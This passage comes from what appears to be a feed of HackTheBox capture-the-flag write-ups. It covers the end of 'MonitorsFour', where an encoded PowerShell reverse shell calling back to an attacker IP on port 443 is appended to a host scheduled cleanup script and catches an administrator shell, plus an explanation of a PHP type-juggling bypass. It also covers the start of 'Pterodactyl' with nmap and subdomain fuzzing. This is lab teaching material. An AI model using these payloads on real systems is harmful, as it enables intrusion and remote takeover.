JABFAHIAcgBvAHIAVgBpAGUAdwA9ACIATgBvAHIAbQBhAGwAVgBpAGUAdwAiADsAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACIAQwBvAG4AdABpAG4AdQBlACIAOwAkAGMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANgAxACIALAA0ADQAMwApADsAJABzAD0AJABjAC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgA9ADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQA9ACQAcwAuAFIAZQBhAGQAKAAkAGIALAAwACwAJABiAC4ATABlAG4AZwB0AGgAKQApAC0AbgBlADAAKQB7ACQAZAA9ACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIALAAwACwAJABpACkAOwB0AHIAeQB7ACQAbwA9AGkAZQB4ACAAJABkACAAMgA+ACYAMQAgADMAPgAmADEAIAA0AD4AJgAxACAANQA+ACYAMQAgADYAPgAmADEAfABPAHUAdAAtAFMAdAByAGkAbgBnAH0AYwBhAHQAYwBoAHsAJABvAD0AJABfAHwATwB1AHQALQBTAHQAcgBpAG4AZwB9AGkAZgAoAFsAcwB0AHIAaQBuAGcAXQA6ADoASQBzAE4AdQBsAGwATwByAEUAbQBwAHQAeQAoACQAbwApACkAewAkAG8APQAiACIAfQAkAHAAPQAiAFAAUwAgACIAKwAoAHAAdwBkACkALgBQAGEAdABoACsAIgA+ACAAIgA7AFsAYgB5AHQAZQBbAF0AXQAkAHMAYgA9ACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABvACsAJABwACkAOwAkAHMALgBXAHIAaQB0AGUAKAAkAHMAYgAsADAALAAkAHMAYgAuAEwAZQBuAGcAdABoACkAOwAkAHMALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMALgBDAGwAbwBzAGUAKAApAA=='</span> <span class="o">&gt;</span> shell.ps1
</code></pre></div></div>

<p>I can go directly to the script I want it to run in, but it’s safer to take small steps.</p>

<p>I’ll want a newline on the end of the script, and then my shell:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@116cff79f4e7:/host_root/Users/Administrator/Documents#</span><span class="w"> </span><span class="nb">echo</span> <span class="o">&gt;&gt;</span> container_cleanup.ps1
<span class="gp">root@116cff79f4e7:/host_root/Users/Administrator/Documents#</span><span class="w"> </span><span class="nb">cat </span>shell.ps1 <span class="o">&gt;&gt;</span> container_cleanup.ps1
<span class="gp">root@116cff79f4e7:/host_root/Users/Administrator/Documents#</span><span class="w"> </span><span class="nb">cat </span>container_cleanup.ps1
<span class="go">start-sleep 100

$containers = docker ps --format "{{.ID}} {{.Image}} {{.RunningFor}}"

foreach ($line in $containers) {
    $parts = $line -split ' '
    $id = $parts[0]
    $image = $parts[1]
    $time = $parts[2]
    $unit = $parts[3]

    if ($image -in @('docker_setup-nginx-php', 'docker_setup-mariadb')) {
        continue
    }

    if (($unit -eq 'minutes' -and [int]$time -gt 10) -or
        ($unit -eq 'hours') -or
        ($unit -eq 'days')) {
        docker rm -f $id
    }
}
powershell -e JABFAHIAcgBvAHIAVgBpAGUAdwA9ACIATgBvAHIAbQBhAGwAVgBpAGUAdwAiADsAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACIAQwBvAG4AdABpAG4AdQBlACIAOwAkAGMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANgAxACIALAA0ADQAMwApADsAJABzAD0AJABjAC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgA9ADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQA9ACQAcwAuAFIAZQBhAGQAKAAkAGIALAAwACwAJABiAC4ATABlAG4AZwB0AGgAKQApAC0AbgBlADAAKQB7ACQAZAA9ACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIALAAwACwAJABpACkAOwB0AHIAeQB7ACQAbwA9AGkAZQB4ACAAJABkACAAMgA+ACYAMQAgADMAPgAmADEAIAA0AD4AJgAxACAANQA+ACYAMQAgADYAPgAmADEAfABPAHUAdAAtAFMAdAByAGkAbgBnAH0AYwBhAHQAYwBoAHsAJABvAD0AJABfAHwATwB1AHQALQBTAHQAcgBpAG4AZwB9AGkAZgAoAFsAcwB0AHIAaQBuAGcAXQA6ADoASQBzAE4AdQBsAGwATwByAEUAbQBwAHQAeQAoACQAbwApACkAewAkAG8APQAiACIAfQAkAHAAPQAiAFAAUwAgACIAKwAoAHAAdwBkACkALgBQAGEAdABoACsAIgA+ACAAIgA7AFsAYgB5AHQAZQBbAF0AXQAkAHMAYgA9ACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABvACsAJABwACkAOwAkAHMALgBXAHIAaQB0AGUAKAAkAHMAYgAsADAALAAkAHMAYgAuAEwAZQBuAGcAdABoACkAOwAkAHMALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMALgBDAGwAbwBzAGUAKAApAA==
</span></code></pre></div></div>

<p>With <code class="language-plaintext highlighter-rouge">nc</code> listening, I’ll wait up to three minutes. Then there’s a shell on the host:</p>

<div class="language-console rlwrap-disclaimer highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>rlwrap <span class="nt">-cAr</span> nc <span class="nt">-lnvp</span> 443
<span class="go">Listening on 0.0.0.0 443
Connection received on 10.129.67.15 60908

</span><span class="gp">PS C:\WINDOWS\system32&gt;</span><span class="w"> </span><span class="nb">whoami</span>
<span class="go">monitorsfour\administrator
</span></code></pre></div></div>

<h3 id="php-type-juggling">PHP Type Juggling</h3>

<p>Earlier in this box, I am able to <a href="#users-dump">dump all the users</a>. How was I able to do that?</p>

<p>The <code class="language-plaintext highlighter-rouge">app</code> directory looks like:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">www-data@821fbd6a43fa:~/app$</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">Router.php  controllers  index.php  static  views
</span></code></pre></div></div>

<p>Inside <code class="language-plaintext highlighter-rouge">index.php</code>, there are routes defined, including:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$router</span><span class="o">-&gt;</span><span class="k">new</span><span class="p">(</span><span class="s1">'GET'</span><span class="p">,</span> <span class="s1">'/user'</span><span class="p">,</span> <span class="s1">'UserController@get_users'</span><span class="p">);</span>
</code></pre></div></div>

<p>This says that the function is <code class="language-plaintext highlighter-rouge">get_users</code> in <code class="language-plaintext highlighter-rouge">controllers/UserController.php</code>:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">public</span> <span class="k">function</span> <span class="n">get_users</span><span class="p">(</span><span class="nv">$router</span><span class="p">)</span>
<span class="p">{</span>
    <span class="nv">$token</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'token'</span><span class="p">]</span> <span class="o">??</span> <span class="kc">null</span><span class="p">;</span>

    <span class="k">if</span> <span class="p">(</span><span class="nv">$token</span> <span class="o">===</span> <span class="kc">null</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">echo</span> <span class="nb">json_encode</span><span class="p">([</span><span class="s2">"error"</span> <span class="o">=&gt;</span> <span class="s2">"Missing token parameter"</span><span class="p">]);</span>
        <span class="k">exit</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="nv">$auth</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">AuthController</span><span class="p">();</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$auth</span><span class="o">-&gt;</span><span class="nf">validate_token</span><span class="p">(</span><span class="nv">$token</span><span class="p">))</span> <span class="p">{</span>
        <span class="nb">header</span><span class="p">(</span><span class="s2">"Content-Type: application/json"</span><span class="p">);</span>
        <span class="k">echo</span> <span class="nb">json_encode</span><span class="p">([</span><span class="s2">"error"</span> <span class="o">=&gt;</span> <span class="s2">"Invalid or missing token"</span><span class="p">]);</span>
        <span class="k">exit</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="nv">$stmt</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">db</span><span class="o">-&gt;</span><span class="nf">query</span><span class="p">(</span><span class="s2">"SELECT * FROM users"</span><span class="p">);</span>
    <span class="nv">$users</span> <span class="o">=</span> <span class="nv">$stmt</span><span class="o">-&gt;</span><span class="nf">fetchAll</span><span class="p">();</span>

    <span class="k">return</span> <span class="nb">json_encode</span><span class="p">(</span><span class="nv">$users</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This function checks that the <code class="language-plaintext highlighter-rouge">token</code> exists, and shows an error message if not. Then it creates an <code class="language-plaintext highlighter-rouge">AuthController</code> object and calls <code class="language-plaintext highlighter-rouge">validate_token</code>. If that returns <code class="language-plaintext highlighter-rouge">true</code>, it prints the full <code class="language-plaintext highlighter-rouge">select * from users</code>.</p>

<p><code class="language-plaintext highlighter-rouge">validate_token</code> is:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">public</span> <span class="k">function</span> <span class="n">validate_token</span><span class="p">(</span><span class="nv">$token</span><span class="p">):</span> <span class="kt">bool</span>
<span class="p">{</span>
    <span class="nv">$query</span> <span class="o">=</span> <span class="s2">"SELECT token FROM users"</span><span class="p">;</span>
    <span class="nv">$stmt</span>  <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">db</span><span class="o">-&gt;</span><span class="nf">query</span><span class="p">(</span><span class="nv">$query</span><span class="p">);</span>
    <span class="nv">$tokens</span> <span class="o">=</span> <span class="nv">$stmt</span><span class="o">-&gt;</span><span class="nf">fetchAll</span><span class="p">(</span><span class="no">PDO</span><span class="o">::</span><span class="no">FETCH_COLUMN</span><span class="p">);</span>

    <span class="k">foreach</span> <span class="p">(</span><span class="nv">$tokens</span> <span class="k">as</span> <span class="nv">$db_token</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="nv">$token</span> <span class="o">==</span> <span class="nv">$db_token</span><span class="p">)</span> <span class="p">{</span>
            <span class="k">return</span> <span class="kc">true</span><span class="p">;</span>
        <span class="p">}</span>
    <span class="p">}</span>

    <span class="k">return</span> <span class="kc">false</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This gets the token for every user in the DB, and if any of them match, it returns <code class="language-plaintext highlighter-rouge">true</code>.</p>

<p>“Match” is the important word there, as it checks <code class="language-plaintext highlighter-rouge">$token == $db_token</code>, with two <code class="language-plaintext highlighter-rouge">=</code>, not three. That means that it’s open to <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Type%20Juggling/README.md">PHP Type Juggling</a>. The image from that post is quite useful here:</p>

<p><a href="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/table_representing_behavior_of_PHP_with_loose_type_comparisons.png"><img src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/table_representing_behavior_of_PHP_with_loose_type_comparisons.png" alt="LooseTypeComparison" /><em>Click for full size image</em></a></p>

<p>When <code class="language-plaintext highlighter-rouge">==</code> sees two strings that both look numeric, PHP converts them to numbers and compares numerically. <code class="language-plaintext highlighter-rouge">"0e543210987654321"</code> parses as scientific notation and evaluates to <code class="language-plaintext highlighter-rouge">0.0</code>; <code class="language-plaintext highlighter-rouge">"0"</code> also evaluates to <code class="language-plaintext highlighter-rouge">0</code>. So <code class="language-plaintext highlighter-rouge">"0" == "0e543210987654321"</code> becomes <code class="language-plaintext highlighter-rouge">0 == 0</code>, which is <code class="language-plaintext highlighter-rouge">true</code>. The fix is <code class="language-plaintext highlighter-rouge">===</code>, which requires both the types and the byte values to match, so <code class="language-plaintext highlighter-rouge">"0" === "0e543210987654321"</code> would be <code class="language-plaintext highlighter-rouge">false</code>.</p>]]></content><author><name></name></author><category term="ctf" /><category term="hackthebox" /><category term="htb-monitorsfour" /><category term="pentest" /><category term="bug-bounty" /><category term="hackthebox" /><category term="htb-monitorsfour" /><category term="ctf" /><category term="nmap" /><category term="windows" /><category term="nginx" /><category term="netexec" /><category term="ffuf" /><category term="subdomain" /><category term="cacti" /><category term="htb-monitorsthree" /><category term="php" /><category term="feroxbuster" /><category term="env" /><category term="htb-monitors" /><category term="htb-monitorstwo" /><category term="docker" /><category term="container" /><category term="type-juggling" /><category term="crackstation" /><category term="docker-desktop" /><category term="password-reuse" /><category term="cve-2025-24367" /><category term="burp" /><category term="burp-proxy" /><category term="burp-repeater" /><category term="escapeshellarg" /><category term="rrdtool" /><category term="command-injection" /><category term="webshell" /><category term="mariadb" /><category term="hashcat" /><category term="wsl" /><category term="cve-2025-9074" /><category term="docker-api" /><category term="scheduled-task" /><category term="powershell" /><category term="source-code" /><summary type="html"><![CDATA[MonitorsFour continues the Monitors series, this time on a Windows host. A company website exposes an authenticated API endpoint that returns every employee’s record. I’ll bypass auth with a PHP type juggling flaw to dump a collection of crackable password hashes. Those credentials open a Cacti instance, where I’ll exploit CVE-2025-24367 to inject commands into rrdtool and drop a webshell, landing in a Docker container. Enumeration shows the host is running Docker Desktop on a WSL2 backend, and that the container can reach the Docker Engine API directly (CVE-2025-9074). I’ll create a new container that mounts the Windows host’s drive and read the root flag. In Beyond Root, I’ll turn that filesystem access into a shell on Windows through a scheduled task, and break down the PHP type juggling bug.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/monitorsfour-cover.png" /><media:content medium="image" url="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/monitorsfour-cover.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">HTB: Pterodactyl</title><link href="https://0xdf.gitlab.io/2026/05/16/htb-pterodactyl.html" rel="alternate" type="text/html" title="HTB: Pterodactyl" /><published>2026-05-16T13:45:00+00:00</published><updated>2026-05-16T13:45:00+00:00</updated><id>https://0xdf.gitlab.io/2026/05/16/htb-pterodactyl</id><content type="html" xml:base="https://0xdf.gitlab.io/2026/05/16/htb-pterodactyl.html"><![CDATA[<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/pterodactyl-cover.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/pterodactyl-cover.png" alt="Pterodactyl" style="float: right; margin-right:50px; margin-left:50px; height:150px;" class="include_image " />
</picture>
<p>Pterodactyl hosts a Minecraft community site alongside an instance of the Pterodactyl game-server management panel. I’ll exploit an unauthenticated directory traversal in the panel’s locale endpoint that gets PHP to include arbitrary files on disk, and chain it with the classic PEAR pearcmd technique to write and execute a webshell. From there I’ll read database credentials, crack a bcrypt hash, and pivot to a user who reuses that password. The box runs openSUSE, where I’ll abuse a PAM environment-variable flaw to convince Polkit I’m a local console session, then exploit a libblockdev/udisks vulnerability to mount a crafted XFS image carrying a SetUID-root shell and escalate to root. In Beyond Root, I’ll get CopyFail and DirtyFrag (two recent Linux kernel page-cache privilege-escalation exploits) working on the host.</p>

<h2 id="box-info">Box Info</h2>

<!-- https://app.hackthebox.com/machines/832 -->

<div class="htb-card platform-htb">
  <div class="htb-card-header">
    <div class="htb-box-info">
      <a href="https://hackthebox.com/machines/pterodactyl" target="_blank" class="htb-box-icon">
        <picture>
          <source type="image/webp" srcset="/icons/box-pterodactyl.webp" />
          <img src="/icons/box-pterodactyl.png" alt="Pterodactyl" />
        </picture>
      </a>
      <div class="htb-box-title">
        <a href="https://hackthebox.com/machines/pterodactyl" target="_blank" class="htb-box-name">Pterodactyl</a>
      </div>
    </div><div class="htb-difficulty-badge diff-Medium">
      Medium
    </div>
  </div>

  <div class="htb-card-body">
    <div class="htb-meta-grid">
      <div class="htb-meta-item">
        <span class="htb-meta-label">Release Date</span>
        <span class="htb-meta-value">
          
          <a href="https://twitter.com/hackthebox_eu/status/2019456030283825477">07 Feb 2026</a>
        </span>
      </div>
      
      <div class="htb-meta-item">
        <span class="htb-meta-label">Retire Date</span>
        <span class="htb-meta-value">16 May 2026</span>
      </div>
      
      <div class="htb-meta-item">
        <span class="htb-meta-label">OS</span>
        <span class="htb-meta-value htb-os">
          <picture><source type="image/webp" srcset="/icons/Linux.webp" /><img src="/icons/Linux.png" alt="Linux" /></picture>
          Linux
        </span>
      </div>
    </div>

    <div class="htb-cards">
      
      <div class="htb-card-row htb-card-green">
        <span class="htb-card-label">Rated Difficulty</span>
        <picture>
          <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/pterodactyl-diff.webp" />
          <img src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/pterodactyl-diff.png" alt="Rated difficulty for Pterodactyl" class="htb-diff-img" />
        </picture>
      </div>
      <div class="htb-card-row htb-card-green htb-card-tall">
        <span class="htb-card-label">Radar Graph</span>
        <picture>
          <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/pterodactyl-radar.webp" />
          <img src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/pterodactyl-radar.png" alt="Radar chart for Pterodactyl" class="htb-radar-img" />
        </picture>
      </div>
      
      
      <div class="htb-card-row htb-card-red">
        <div class="htb-blood-chip">
          <svg width="20" height="20" viewBox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M9.17728 1.8663C9.39181 1.53976 9.75455 1.36377 10.1194 1.36377C10.4845 1.36377 10.8474 1.53992 11.0619 1.86677C11.2785 2.19751 11.5887 2.67967 11.9582 3.25725C12.1814 3.60619 12.0794 4.07 11.7305 4.29319C11.3816 4.51638 10.9178 4.41445 10.6946 4.06551C10.479 3.72853 10.285 3.42614 10.1186 3.16844C9.45753 4.18835 8.37959 5.89633 7.40828 7.656C6.83514 8.69432 6.30663 9.73721 5.92344 10.6594C5.52883 11.609 5.32959 12.3362 5.32959 12.7789C5.32959 15.1536 7.4206 17.172 10.1194 17.172C11.6175 17.172 12.9428 16.5425 13.8158 15.5721C14.0929 15.2641 14.5671 15.239 14.875 15.5161C15.183 15.7931 15.208 16.2673 14.931 16.5753C13.7716 17.8641 12.0399 18.672 10.1194 18.672C6.69911 18.672 3.82959 16.0851 3.82959 12.7789C3.82959 12.0155 4.13669 11.0502 4.53827 10.0838C4.95126 9.08991 5.50879 7.99321 6.09505 6.93112C7.26832 4.80557 8.58701 2.76434 9.17728 1.8663Z" fill="currentColor" /><path d="M12.4256 10.0001C11.9254 10.0001 11.5003 9.81776 11.1502 9.45318C10.8 9.0886 10.625 8.64589 10.625 8.12505C10.625 7.60422 10.8 7.16151 11.1502 6.79693C11.5003 6.43235 11.9254 6.25005 12.4256 6.25005C12.9257 6.25005 13.3509 6.43235 13.701 6.79693C14.0511 7.16151 14.2262 7.60422 14.2262 8.12505C14.2262 8.64589 14.0511 9.0886 13.701 9.45318C13.3509 9.81776 12.9257 10.0001 12.4256 10.0001Z" fill="currentColor" /><path d="M8.82438 12.8126V12.5001C8.82438 12.3004 8.87648 12.1116 8.98068 11.9336C9.08488 11.7557 9.22868 11.606 9.41208 11.4844C9.87056 11.2067 10.3553 10.994 10.8662 10.8464C11.3772 10.6988 11.8961 10.6251 12.423 10.6251C12.9499 10.6251 13.4697 10.6988 13.9823 10.8464C14.495 10.994 14.9806 11.2067 15.4391 11.4844C15.6225 11.5973 15.7663 11.7448 15.8705 11.9271C15.9747 12.1094 16.0268 12.3004 16.0268 12.5001V12.8126C16.0268 13.0704 15.9386 13.2911 15.7622 13.4747C15.5857 13.6583 15.3737 13.7501 15.126 13.7501H9.72114C9.47342 13.7501 9.26203 13.6583 9.08697 13.4747C8.91191 13.2911 8.82438 13.0704 8.82438 12.8126Z" fill="currentColor" /></svg>
          <span class="htb-blood-label">User</span>
        </div>
        <div class="htb-blood-info">
          <span class="htb-blood-time"><span class="htb-blood-clock">00:09:24</span></span><a href="https://app.hackthebox.com/users/260094" target="_blank" rel="noopener"><img alt="NLTE" src="https://www.hackthebox.com/badge/image/260094" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> NLTE</span></a><br /></div>
      </div>
      <div class="htb-card-row htb-card-red">
        <div class="htb-blood-chip">
          <svg width="20" height="20" viewBox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M9.17728 1.8663C9.39181 1.53976 9.75455 1.36377 10.1194 1.36377C10.4845 1.36377 10.8474 1.53992 11.0619 1.86677C11.2785 2.19751 11.5887 2.67967 11.9582 3.25725C12.1814 3.60619 12.0794 4.07 11.7305 4.29319C11.3816 4.51638 10.9178 4.41445 10.6946 4.06551C10.479 3.72853 10.285 3.42614 10.1186 3.16844C9.45753 4.18835 8.37959 5.89633 7.40828 7.656C6.83514 8.69432 6.30663 9.73721 5.92344 10.6594C5.52883 11.609 5.32959 12.3362 5.32959 12.7789C5.32959 15.1536 7.4206 17.172 10.1194 17.172C11.6175 17.172 12.9428 16.5425 13.8158 15.5721C14.0929 15.2641 14.5671 15.239 14.875 15.5161C15.183 15.7931 15.208 16.2673 14.931 16.5753C13.7716 17.8641 12.0399 18.672 10.1194 18.672C6.69911 18.672 3.82959 16.0851 3.82959 12.7789C3.82959 12.0155 4.13669 11.0502 4.53827 10.0838C4.95126 9.08991 5.50879 7.99321 6.09505 6.93112C7.26832 4.80557 8.58701 2.76434 9.17728 1.8663Z" fill="currentColor" /><path d="M10.7 13.5H9.3V12.1H10.7V13.5ZM10.7 10.7H9.3V6.5H10.7V10.7Z" fill="currentColor" /></svg>
          <span class="htb-blood-label">Root</span>
        </div>
        <div class="htb-blood-info">
          <span class="htb-blood-time"><span class="htb-blood-clock">00:41:21</span></span><a href="https://app.hackthebox.com/users/1807684" target="_blank" rel="noopener"><img alt="Kryzen" src="https://www.hackthebox.com/badge/image/1807684" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> Kryzen</span></a><br /></div>
      </div>
      
      <div class="htb-card-row htb-card-blue">
        <span class="htb-card-label">Creators</span>
        
<a href="https://app.hackthebox.com/users/1262113" target="_blank" rel="noopener"><img alt="HeadMonitor" src="https://www.hackthebox.com/badge/image/1262113" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> HeadMonitor</span></a><br />
<a href="https://app.hackthebox.com/users/114053" target="_blank" rel="noopener"><img alt="TheCyberGeek" src="https://www.hackthebox.com/badge/image/114053" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> TheCyberGeek</span></a><br />
      </div>
    </div>

    
  </div>
</div>
<h2 id="recon">Recon</h2>

<h3 id="initial-scanning">Initial Scanning</h3>

<p><code class="language-plaintext highlighter-rouge">nmap</code> finds two open TCP ports, SSH (22) and HTTP (80):</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>nmap <span class="nt">-p-</span> <span class="nt">-vvv</span> <span class="nt">--min-rate</span> 10000 10.129.64.117
<span class="go">Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-05-08 21:18 UTC
...[snip]...
Nmap scan report for 10.129.64.117
Host is up, received echo-reply ttl 63 (0.020s latency).
Scanned at 2026-05-08 21:18:49 UTC for 13s
Not shown: 65512 filtered tcp ports (no-response), 19 filtered tcp ports (admin-prohibited)
PORT     STATE  SERVICE    REASON
22/tcp   open   ssh        syn-ack ttl 63
80/tcp   open   http       syn-ack ttl 63
443/tcp  closed https      reset ttl 63
8080/tcp closed http-proxy reset ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.39 seconds
           Raw packets sent: 131060 (5.767MB) | Rcvd: 24 (1.564KB)
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>nmap <span class="nt">-p</span> 22,80 <span class="nt">-sCV</span> 10.129.64.117
<span class="go">Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-05-08 21:22 UTC
Nmap scan report for 10.129.64.117
Host is up (0.020s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6 (protocol 2.0)
| ssh-hostkey: 
|   256 a3:74:1e:a3:ad:02:14:01:00:e6:ab:b4:18:84:16:e0 (ECDSA)
|_  256 65:c8:33:17:7a:d6:52:3d:63:c3:e4:a9:60:64:2d:cc (ED25519)
80/tcp open  http    nginx 1.21.5
|_http-server-header: nginx/1.21.5
|_http-title: Did not follow redirect to http://pterodactyl.htb/

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.93 seconds
</span></code></pre></div></div>

<p>The <a href="/cheatsheets/os#ubuntu">application versions</a> show a conflicting story. The OpenSSH version suggests the host is running Ubuntu 24.04 noble, but usually that has Ubuntu in the version string. Also, the Nginx version suggests something older, maybe 22.04 jammy if it’s Ubuntu. I’ve always found Nginx to be the least reliable for this enumeration, so it’s either just Ubuntu 24.04 with an older Nginx, or there could be Nginx in a container running older Ubuntu, or this could be some other flavor of Linux.</p>

<p>Both of the ports show a TTL of 63, which matches the <a href="/cheatsheets/os#os-identification">expected TTL</a> for Linux one hop away. Nginx doesn’t typically show a decremented TTL regardless of if it is proxying to localhost or a container.</p>

<p>There are two ports that show as <code class="language-plaintext highlighter-rouge">closed</code>, standing out from the 65512 filtered ports. This implies a firewall rule or something else blocking these.</p>

<h3 id="subdomain-brute-force---tcp-80">Subdomain Brute Force - TCP 80</h3>

<p>The <code class="language-plaintext highlighter-rouge">nmap</code> data shows a redirect to <code class="language-plaintext highlighter-rouge">pterodactyl.htb</code> on port 80. I’ll use <code class="language-plaintext highlighter-rouge">ffuf</code> to bruteforce for subdomains that respond differently from the default case:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>ffuf <span class="nt">-u</span> http://10.129.64.117 <span class="nt">-H</span> <span class="s2">"Host: FUZZ.pterodactyl.htb"</span> <span class="nt">-w</span> /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt <span class="nt">-ac</span>
<span class="go">
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.64.117
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.pterodactyl.htb
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

panel                   [Status: 200, Size: 1897, Words: 490, Lines: 36, Duration: 528ms]
:: Progress: [19966/19966] :: Job [1/1] :: 1923 req/sec :: Duration: [0:00:10] :: Errors: 0 ::
</span></code></pre></div></div>

<p>It finds one! I’ll add both to my <code class="language-plaintext highlighter-rouge">/etc/hosts</code> file:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>10.129.64.117 pterodactyl.htb panel.pterodactyl.htb
</code></pre></div></div>

<p>I’ll rescan port 80 with <code class="language-plaintext highlighter-rouge">nmap</code> targeting each hostname, but not find anything interesting.</p>

<h3 id="pterodactylhtb---tcp-80">pterodactyl.htb - TCP 80</h3>

<h4 id="site">Site</h4>

<p>The site is for a Minecraft community:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260510133721500.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260510133721500.png" alt="image-20260510133721500" class="include_image " />
</picture>

<p>The “Copy Server IP” button copies <code class="language-plaintext highlighter-rouge">play.pterodactyl.htb</code> to the clipboard. I’ll add that to my <code class="language-plaintext highlighter-rouge">hosts</code> file, but it just redirects to <code class="language-plaintext highlighter-rouge">pterodactyl.htb</code>.</p>

<p>The “Changelogs” link goes to <code class="language-plaintext highlighter-rouge">/changelog.txt</code>:</p>

